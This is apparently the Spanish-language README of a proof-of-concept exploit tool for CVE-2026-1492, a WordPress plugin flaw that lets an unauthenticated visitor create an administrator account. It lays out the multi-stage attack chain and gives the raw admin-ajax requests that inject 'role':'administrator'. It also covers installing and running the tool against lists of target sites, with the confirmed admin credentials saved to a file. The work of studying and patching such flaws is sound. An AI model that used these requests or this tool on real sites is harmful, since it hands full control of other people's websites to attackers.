
User Registration & Membership <= 5.1.2 - Escalada de privilegios no autenticada a través del registro de membresía
User Registration & Membership <= 5.1.2 - Escalada de Privilegios no Autenticada mediante Registro de Membresía
Descripción:
El plugin User Registration & Membership para WordPress es vulnerable a una Escalada de Privilegios no Autenticada en todas las versiones hasta la 5.1.2 inclusive. La vulnerabilidad se origina en el manejador AJAX user_registration_membership_register_member, que acepta un valor de role proporcionado por el usuario durante el proceso de registro de membresía sin imponer ninguna lista blanca del lado del servidor ni comprobación de capacidades. Un atacante remoto completamente no autenticado puede construir una cadena de peticiones AJAX de varios pasos — primero registrando una nueva cuenta de usuario y luego enviando una llamada maliciosa register_member con "role": "administrator" inyectado en la carga útil JSON members_data — para crear silenciosamente una cuenta de Administrador de WordPress con plenos privilegios. Esto resulta en el compromiso total de la instalación de WordPress afectada sin requerir ninguna interacción del usuario.
Este es un script de explotación de Prueba de Concepto (PoC) que implementa una cadena de ataque completa con seguimiento de estado contra sitios WordPress que ejecutan una versión vulnerable del plugin User Registration & Membership. La herramienta realiza una explotación inteligente en varias etapas con descubrimiento automático, extracción de planes, recolección de nonces, registro de doble flujo, inyección de roles y verificación de administrador.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
O mediante el archivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
La herramienta utiliza una interfaz de terminal totalmente interactiva basada en Rich. Todos los parámetros se solicitan en tiempo de ejecución.
Cree un archivo de texto plano (por defecto: list.txt) con un objetivo por línea:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
La herramienta descubre y analiza automáticamente:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ El servidor acepta el campo
roledel cliente sin ninguna validación de lista blanca — esta es la causa raíz de CVE-2026-1492.
La herramienta abre una sesión nueva, inicia sesión con las credenciales recién creadas y sondea:
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-1492 | User Registration & Membership — Admin PoC ║
║ By: Nxploited | GitHub: github.com/Nxploited | @KNxploited ║
╚══════════════════════════════════════════════════════════════════════╝
[INFO] https://target.com
[OK] https://target.com | REG-A-OK user:Nxploited_A_482910 mem:3
[OK] https://target.com | MEM-A-OK membership A (role=administrator payload) sent
[OK] https://target.com | ADMIN-A user:Nxploited_A_482910 pass:Nx_12999 mem:3
┌─────────────────────────────��───────────────────────────────────────────────┐
│ Target │ Status │ Note │
├─────────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ADMIN-A │ user:Nxploited_A_482910 ... │
│ https://target2.com │ MEM-B-FAIL │ membership not configured │
│ https://target3.com │ DEAD │ connection error │
└─────────────────────────────────────────────────────────────────────────────┘
Por: Nxploited (Khaled Alenazi)
ESTA HERRAMIENTA SE PROPORCIONA ÚNICAMENTE CON FINES EDUCATIVOS Y DE INVESTIGACIÓN DE SEGURIDAD AUTORIZADA.
El autor, Nxploited (Khaled Alenazi), y todos los colaboradores de este proyecto no aprueban, no respaldan ni asumen ninguna responsabilidad por el uso indebido de esta herramienta o por cualquier daño causado por el uso de este software contra sistemas para los cuales usted no tiene autorización escrita explícita.
- ✅ Permitido: Uso en sistemas propios o para los que se le haya otorgado permiso escrito explícito para realizar pruebas.
- ❌ Prohibido: Uso contra cualquier sistema sin autorización escrita explícita previa del propietario del sistema.
El acceso no autorizado a sistemas informáticos es ilegal y está penado por las leyes aplicables, incluidas, entre otras, la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act (CMA) y la legislación equivalente en todo el mundo.
Al utilizar esta herramienta, usted acepta la responsabilidad única y total por sus acciones y confirma que tiene la autoridad legal para probar los sistemas objetivo.
El autor no asume ninguna responsabilidad por daños directos, indirectos, incidentales o consecuenciales que surjan del uso o uso indebido de este software.
© 2026 Nxploited (Khaled Alenazi) — Solo para investigación de seguridad autorizada.
| Campo | Detalles |
|---|
| ID CVE | CVE-2026-1492 |
| Gravedad | CRÍTICA — Puntuación CVSS v3.1: 9.8 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Software Afectado | User Registration & Membership — Constructor de Formularios de Registro Personalizados, Formulario de Inicio de Sesión Personalizado, Perfil de Usuario, Restricción de Contenido y Plugin de Membresía para WordPress |
| Versiones Afectadas | Todas las versiones hasta la 5.1.2 inclusive |
| Tipo de Vulnerabilidad | Gestión de Privilegios Incorrecta — Creación de Cuenta de Administrador no Autenticada |
| Autenticación Requerida | Ninguna |
| CWE | CWE-269: Gestión Inadecuada de Privilegios |
| Objetivo | Qué se Extrae |
|---|
/membership-pricing/ | IDs de planes de membresía, enlaces a la página de registro |
/registration/ | Campos del formulario, nonces, URLs AJAX, entradas de radio de membresía |
Objeto JS user_registration_params | ajax_url, nonce security, metadatos del formulario |
ur_membership_frontend_localized_data | Nonce específico de membresía, endpoint AJAX |
| Endpoint | Indicador Comprobado |
|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |
| Archivo | Descripción |
|---|
Nx_admin.txt | ✅ Cuentas de administrador confirmadas |
membership_success_log.txt | Todas las llamadas exitosas de inyección de rol de membresía |
discovery_log.txt | Datos completos de descubrimiento por objetivo (nonces, IDs, campos) |
registration_log.txt | Todas las peticiones y respuestas AJAX de registro |
membership_log.txt | Todas las peticiones y respuestas AJAX de membresía |
admin_check_log.txt | Intentos de inicio de sesión y resultados de verificación de administrador |
| Estado | Color | Significado |
|---|
ADMIN-A / ADMIN-B | 🟢 Verde | Administrador confirmado — Flujo A o B |
ADMIN-A-OVERRIDE | 🟢 Verde | Administrador confirmado tras el intento de anulación |
REG-A-FAIL / REG-B-FAIL | 🟡 Amarillo | El AJAX de registro devolvió un fallo |
MEM-A-FAIL / MEM-B-FAIL | 🟣 Magenta | Falló la llamada de inyección de rol de membresía |
REG-PENDING-A/B | ⚫ Oscuro | La cuenta requiere verificación por correo electrónico o aprobación del administrador |
NO-MEM-ID | ⚫ Oscuro | No se encontró el ID del plan de membresía en el objetivo |
NO-UR-NONCE | ⚫ Oscuro | El nonce de registro no es extraíble |
NO-ADMIN | ⚫ Oscuro | Membresía correcta pero acceso de administrador no confirmado |
TIMEOUT | ⚫ Oscuro | Tiempo de espera HTTP agotado |
DEAD | ⚫ Oscuro | Error de conexión — sitio inaccesible |
ERROR | 🔴 Rojo | Excepción inesperada |